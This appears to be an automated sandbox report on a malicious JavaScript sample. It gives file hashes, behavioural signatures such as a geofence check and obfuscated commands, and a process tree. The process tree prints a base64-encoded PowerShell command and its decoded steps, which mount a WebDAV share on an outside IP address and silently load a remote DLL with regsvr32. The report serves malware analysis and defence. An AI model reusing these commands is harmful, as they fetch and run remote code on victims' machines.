Analysis
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max time kernel
93s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-11-2024 02:11
Static task
static1
Behavioral task
behavioral1
Sample
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
Resource
win10v2004-20241007-en
General
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Target
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js
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Size
1.6MB
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MD5
bae204a687fd5f7dc29dd82e51ae085b
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SHA1
dcf4b0f1cbd08002dce18a01d8f5d1eeae8bfc8a
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SHA256
20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74
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SHA512
9d0b1099f782d949f756d3987f61479dabd3f41ddb56b61b55feb2cda2a341ea3b1a43e48cb4adcf06da590f9caf3123e61eeb01a5f02c227c8dec10ad313051
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SSDEEP
24576:Us9MhhwQhD8I9YgygaXziWqE9oGzJWPan2Yhxp:V
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid Process 1132 timeout.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid Process 4800 powershell.exe 4800 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 4800 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
wscript.exepowershell.execmd.execmd.exedescription pid Process procid_target PID 4228 wrote to memory of 4800 4228 wscript.exe 83 PID 4228 wrote to memory of 4800 4228 wscript.exe 83 PID 4800 wrote to memory of 1132 4800 powershell.exe 85 PID 4800 wrote to memory of 1132 4800 powershell.exe 85 PID 4800 wrote to memory of 2368 4800 powershell.exe 87 PID 4800 wrote to memory of 2368 4800 powershell.exe 87 PID 2368 wrote to memory of 1616 2368 cmd.exe 88 PID 2368 wrote to memory of 1616 2368 cmd.exe 88 PID 4800 wrote to memory of 4244 4800 powershell.exe 89 PID 4800 wrote to memory of 4244 4800 powershell.exe 89 PID 4244 wrote to memory of 2648 4244 cmd.exe 90 PID 4244 wrote to memory of 2648 4244 cmd.exe 90
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4228 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800 -
C:\Windows\system32\timeout.exe"C:\Windows\system32\timeout.exe" 13⤵
- Delays execution with timeout.exe
PID:1132
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\3⤵
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\system32\net.exenet use \\94.159.113.79@8888\davwwwroot\4⤵PID:1616
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll3⤵
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\system32\regsvr32.exeregsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll4⤵PID:2648
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82